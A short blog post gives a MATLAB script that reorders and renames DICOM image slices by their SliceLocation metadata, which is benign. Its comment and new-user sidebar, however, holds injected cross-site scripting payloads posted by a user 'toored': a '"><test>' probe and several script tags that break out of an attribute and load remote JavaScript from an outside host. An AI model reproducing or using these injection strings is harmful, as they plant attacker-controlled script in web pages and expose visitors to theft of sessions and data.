Reorder DICOM data according to slice position


DICOM image slices are not in correct slice location order and their file names are not consistent, which is unable for tracing system to read.

Use Matlab to reorder and rename image files in each folder.

maindir = 'E:\C-Tsinghua\dataF';
subdir  = dir( maindir );
for i = 1 : length( subdir )
    if( isequal( subdir( i ).name, '.' )||...
        isequal( subdir( i ).name, '..')||...
        ~subdir( i ).isdir)               
        continue;
    end
    subdirpath= fullfile( maindir, subdir( i ).name);
    Filesindir= dir(fullfile( maindir, subdir( i ).name,'*.dcm' ));
    
    n=length(Filesindir);
    loc=zeros(n,2);
    
    for j=1:n
        Fullfilename=fullfile(subdirpath,Filesindir(j).name);
        metadata=dicominfo(Fullfilename);
        loc(j,:)=[j metadata.SliceLocation];
    end
    locasc=sortrows(loc,2);

    for j=1:n
        movfrom=fullfile(subdirpath,Filesindir(locasc(j,1)).name);
        movto=fullfile(subdirpath,[mat2str(j),'.dcm']);
        movefile(movfrom,movto);
    end
end


Last Article

Comment 评论



Share 分享

New Users 最新加入

  • "><script type="text/javascript&qu

  • hokurikustr

New comments 最新评论

&quot;&gt;&lt;script type=&quot;te: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 13:07
toored: "><script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:58
toored: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:57
toored: "><test> Details Oct 02 12:56
test123: aasdas Details Apr 13 16:39